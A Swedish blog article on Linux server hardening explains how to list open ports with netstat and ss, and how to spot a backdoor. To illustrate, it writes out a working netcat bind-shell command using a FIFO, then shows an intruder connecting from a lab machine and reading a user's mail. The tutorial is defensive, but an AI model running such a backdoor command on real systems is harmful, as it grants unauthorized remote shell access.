Blandade säkerhetstips, del 2 – öppna portar
Att hålla koll på öppna TCP- och UDP-portar är en viktig del av
systemadministratörens arbete. Dels för att minimera antalet tjänster som inte
behövs, men också för att hitta eventuella bakdörrar på systemet. Att sätta upp
en enkel bakdörr med netcat
är enkelt fixat för inkräktaren.
Det första steget i säkra upp en server är alltid att minimera attackytan. Ett sätt att göra detta på är att stänga ner alla oanvända nätverkstjänster. Publika nätverkstjänster löper alltid en risk att bli hackade. Det upptäcks säkerhetshål i de flesta tjänster med jämna mellanrum.
För bara några veckor sedan upptäcktes ett allvarligt säkerhetshål i Exim som gör att en angripare kan exekvera skadlig kod på maskinen. Exim är en känd e-postserver som används på miljontals datorer.
Lista öppna portar
Traditionellt har alltid kommandot netstat
använts för att lista öppna portar
på Linux och andra UNIX-system. Flaggorna -ltup
används för att lista alla
lyssnande TCP och UDP portar, samt vilka program det är som lyssnar på just de
portarna. För att kunna se programmet som hör till respektive port måste du köra
kommandot som root.
Nedanstående exempel är från ett Linuxsystem med några vanliga tjänster igång.
#> netstat -ltup
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 *:39272 *:* LISTEN 544/rpc.statd
tcp 0 0 *:10025 *:* LISTEN 605/stunnel4
tcp 0 0 localhost:mysql *:* LISTEN 1020/mysqld
tcp 0 0 *:sunrpc *:* LISTEN 535/rpcbind
tcp 0 0 *:ssh *:* LISTEN 611/sshd
tcp 0 0 localhost:smtp *:* LISTEN 1220/master
tcp6 0 0 [::]:53604 [::]:* LISTEN 544/rpc.statd
tcp6 0 0 [::]:sunrpc [::]:* LISTEN 535/rpcbind
tcp6 0 0 [::]:http [::]:* LISTEN 665/apache2
tcp6 0 0 [::]:ssh [::]:* LISTEN 611/sshd
tcp6 0 0 localhost:smtp [::]:* LISTEN 1220/master
tcp6 0 0 [::]:https [::]:* LISTEN 665/apache2
udp 0 0 *:710 *:* 535/rpcbind
udp 0 0 localhost:720 *:* 544/rpc.statd
udp 0 0 *:13275 *:* 480/dhclient
udp 0 0 *:bootpc *:* 480/dhclient
udp 0 0 *:sunrpc *:* 535/rpcbind
udp 0 0 *:44228 *:* 544/rpc.statd
udp6 0 0 [::]:34456 [::]:* 544/rpc.statd
udp6 0 0 [::]:710 [::]:* 535/rpcbind
udp6 0 0 [::]:29641 [::]:* 480/dhclient
udp6 0 0 [::]:sunrpc [::]:* 535/rpcbind
Det vi är intresserade av är de portar och tjänster som listas som LISTEN. Det är dessa portar som lyssnar efter inkommande anslutningar – således öppna portar. Men det är dock inte alla som listas som LISTEN som vi behöver oroa oss för. Exempelvis mysql och smtp i listan ovan lyssnar endast på gränssnittet localhost. Det betyder att de inte går att nå utifrån. För att ansluta sig till dessa tjänster behöver vi vara på samma fysiska maskin.
De publika tjänster som körs på systemet enligt listan ovan är bland annat webbservern Apache2 (både http och https), samt SSH. Både SSH och Apache2 lyssnar dessutom både på IPv4 (tcp) och IPv6 (tcp6).
I nyare Linuxutgåvor saknas dock ibland netstat
-kommandot. Istället används
kommandot ss
med samma flaggor, alltså -ltup
.
Bakdörrar
Men förutom att leta efter – och stänga av – oanvända tjänster, är det viktigt att hålla koll på öppna portar för att upptäcka bakdörrar. Som jag nämnde i del 1 av denna serien kommer jag inte gå igenom själva intrånget. Det finns många olika sätt som en inkräktare kan skapa bakdörrar och exekvera kommandon på systemet. Oftast sker det genom buggar i webbapplikationer.
Verktyget netcat
finns i de flesta Linuxutgåvor idag, och är ett mycket
användbart verktyg. I många fall har man dock kompilerat netcat
så att flaggan
-e
har avaktiverats. Detta gör man av säkerhetsskäl för att någon av misstag
inte ska öppna upp just bakdörrar. Flaggan -e
används nämligen för att
exekvera valfritt program, till exempel ett skal.
Men det går trots allt att exekvera skal genom netcat
, och det är precis det
som en inkräktare brukar göra. Med lite omdirigeringar och FIFO’s är det
enkelt. För den som är nyfiken på vad en FIFO är för något har jag
skrivit en artikel om just det.
Kom ihåg att det är den användaren som exekverar nedanstående kommandon som inkräktaren också loggar in med, med hjälp av sin bakdörr. Exekveras kommandona som root, har inkräktaren också root-rättigheter. Exekveras de genom webbservern Apache2 är det som användaren apache eller httpd som inkräktaren loggar in, beroende på vilken Linuxutgåva som körs.
Kom också ihåg att det bara är root som kan öppna portar lägre än 1024.
Målets maskin
$> mkfifo /tmp/mybackdoor
$> /bin/bash < /tmp/mybackdoor | netcat -l -p 9999 > /tmp/mybackdoor
Nu körs bakdörren (i det här fallet som en vanlig användare), och
lyssnar på port 9999. Om jag nu kör en netstat -ltup
igen kommer vi se
bakdörren. Här använder jag grep
för att endast visa de rader som innehåller
ordet LISTEN.
#> netstat -ltup | grep LISTEN
tcp 0 0 *:39272 *:* LISTEN 544/rpc.statd
tcp 0 0 *:10025 *:* LISTEN 605/stunnel4
tcp 0 0 localhost:mysql *:* LISTEN 1020/mysqld
tcp 0 0 *:9999 *:* LISTEN 9369/netcat
tcp 0 0 *:sunrpc *:* LISTEN 535/rpcbind
tcp 0 0 *:ssh *:* LISTEN 611/sshd
tcp 0 0 localhost:smtp *:* LISTEN 1220/master
tcp6 0 0 [::]:53604 [::]:* LISTEN 544/rpc.statd
tcp6 0 0 [::]:sunrpc [::]:* LISTEN 535/rpcbind
tcp6 0 0 [::]:http [::]:* LISTEN 665/apache2
tcp6 0 0 [::]:ssh [::]:* LISTEN 611/sshd
tcp6 0 0 localhost:smtp [::]:* LISTEN 1220/master
tcp6 0 0 [::]:https [::]:* LISTEN 665/apache2
Här ser vi på rad 4 att port 9999 är öppen, och att programmet som lyssnar på
porten är netcat
. Vi ser också dess PID-nummer, 9369. Vill vi undersöka vidare
kan vi kolla upp PID 9369 med ps
.
#> ps uax | grep 9369
jake 9369 0.0 0.0 6332 1604 pts/0 S+ 04:57 0:00 netcat -l -p 9999
Här ser vi att det är användaren jake som startat bakdörren, och att flaggorna
som användes för netcat
är -l -p 9999
.
Inkräktarens maskin
Inkräktaren kan nu komma rakt in i målets maskin genom att ansluta sig till port 9999. Inkräktaren kan därefter göra allt som användaren jake har tillgång till. Läsa hans e-post, öppna filer, utforska systemet etc.
$> netcat 192.168.0.35 9999
whoami
jake
ls
index.php
mbox
head mbox
From root@testmachine.nixnet.jke Fri Dec 4 17:15:01 2015
Return-Path: <root@testmachine.nixnet.jke>
X-Original-To: root
Delivered-To: root@testmachine.nixnet.jke
Received: by testmachine.nixnet.jke (Postfix, from userid 0)
id 1C63C602E8; Fri, 4 Dec 2015 17:15:01 +0100 (CET)
From: lisa@testmachine.nixnet.jke
To: root@testmachine.nixnet.jke
Subject: "Saknar dig"
MIME-Version: 1.0
Om vi återgår till målets maskin, kan vi nu undersöka hur det ser ut i netstat
under tiden anslutningen mellan inkräktaren och netcat
-bakdörren är
aktiv. Observera att här används andra flaggor. Den viktiga flaggan här är -a
för all.
Målets maskin
#> netstat -tua | grep 9999
tcp 0 0 testmachine.nixnet.jke:9999 red.nixnet.jke:56282 ESTABLISHED
Här ser vi att anslutningen är aktiv, eller upprättad, established. Vi ser också namnen på de båda maskinerna, där testmachine är målets dator, alltså vår egna dator, och red är inkräktarens dator.
Nyhetsbrev
Nyhetsuppdateringar från tidningen direkt till din inkorg, helt kostnadsfritt. Avsluta när du vill.
Relaterade artiklar
-
Avlyssna trafik på servern med Wireshark och TShark
Wireshark är ett ovärderligt verktyg för att felsöka nätverkskonfigurationer, applikationer, API:er, demoner och mycket annat. I kombination med
tshark
kan vi dessutom avlyssna trafiken på en server i realtid. -
Var försiktig med att curl:a skript som root
Att installera program i Linux genom att omdirigera utdata från Curl till skalet är snabbt och smidigt. Men det är ack så farligt om du inte känner till programmet eller dess ursprung.
-
Vidarebefordran av SSH-agenten
SSH agent forwarding, eller vidarebefordran av SSH-agenten, innebär att man kan vidarebefordra SSH-agenten till ett fjärrsystem. På så sätt behöver man inte kopiera sin privata SSH-nyckel till fjärrsystemet, eller skapa flera nycklar för olika system. Men det finns risker med det.
-
Jenkins som ett alternativ till Ansible Tower
Ansible Tower kommer med en stor prislapp, speciellt för ett mindre företag eller en privatperson. AWX å andra sidan är helt fritt, men kräver numera Kubernetes. För den som vill automatisera sina Ansible Playbooks går det dock bra att använda Jenkins som en ersättning för Tower och AWX.
-
Hämta data från API:er med cURL och jq
Med cURL och jq går det att extrahera data från API:er direkt från kommandoraden. Jq är en JSON-tolkare och beskrivs av utvecklarna som sed och awk för JSON.
Senaste nyheterna och inläggen
-
Avlyssna trafik på servern med Wireshark och TShark
Wireshark är ett ovärderligt verktyg för att felsöka nätverkskonfigurationer, applikationer, API:er, demoner och mycket annat. I kombination med
tshark
kan vi dessutom avlyssna trafiken på en server i realtid. -
Mysig stämning på sommarens första demoparty
I helgen var det Reunion 2024 i Kvidinge Folkets hus, sommarens första skånska demoparty. Partyt organiserades av Jesper “Skuggan” Klingvall. På plats fanns ett 30-tal besökare.
-
Sommarens skånska demopartyn
Årets sommar bjuder på två skånska demopartyn. Först ut är Reunion i Kvidinge den 28–30 juni. Därefter är det Pågadata i Örtofta den 9–11 augusti.
-
Riskerna med BankID som ingen pratar om
BankID är ett säkert och smidigt sätt att identifiera sig online. Men i takt med dess ökade popularitet och användning har det blivit en svag länk – en single point of failure – på mer än ett sätt.
-
Polisernas fängelsedomar står fast
Efter tre år är målet mot de två poliser som olovligen tog sig in i en berusad mans bostad i Landskrona och misshandlade honom klart. Högsta domstolen beslutade den sjätte mars att avvisa överklagan. Fängelsedomarna för poliserna står därmed fast.
Utvalda artiklar
-
Mysig stämning på sommarens första demoparty
I helgen var det Reunion 2024 i Kvidinge Folkets hus, sommarens första skånska demoparty. Partyt organiserades av Jesper “Skuggan” Klingvall. På plats fanns ett 30-tal besökare.
-
Datorparty i Landskrona
I helgen höll Syntax Society sitt årliga sommarparty. Platsen var en källarlokal i Landskrona där ett femtontal personer medverkade.
-
Det första Pågadata har ägt rum
I helgen ägde det första Pågadata rum – uppföljaren till Gubbdata. Platsen var Folkets Hus i Kvidinge. Organisatör av partyt var Johan “z-nexx” Osvaldsson med hjälp från Jesper “Skuggan” Klingvall. Partyt hade över 100 anmälda deltagare.
-
Även hovrätten fäller poliserna för att ha satt dit oskyldig
Hovrätten fastställer straffet för de två poliser som förra året dömdes till vardera ett års fängelse av Lunds tingsrätt för att ha misshandlat och satt dit en oskyldig man. De båda poliserna ska även betala skadestånd till mannen.
-
Retroloppis i Påarp
Idag var det retroloppis hos Andreas Nilsson i Påarp. På baksidan av huset fanns hundratals spel uppradade på långa bord. Trots friska vindar och sval temperatur var loppisen välbesökt.
CyberInfo Sverige är ett it- och medieföretag i nordvästra Skåne som tillhandahåller böcker, utbildningar, nyheter och konsulttjänster inom Linux, säkerhet och programmering.
CyberInfo Sverige är godkänd för F-skatt, är momsregistrerat och innehar
utgivningsbevis för webbplatsen www.cyberinfo.se.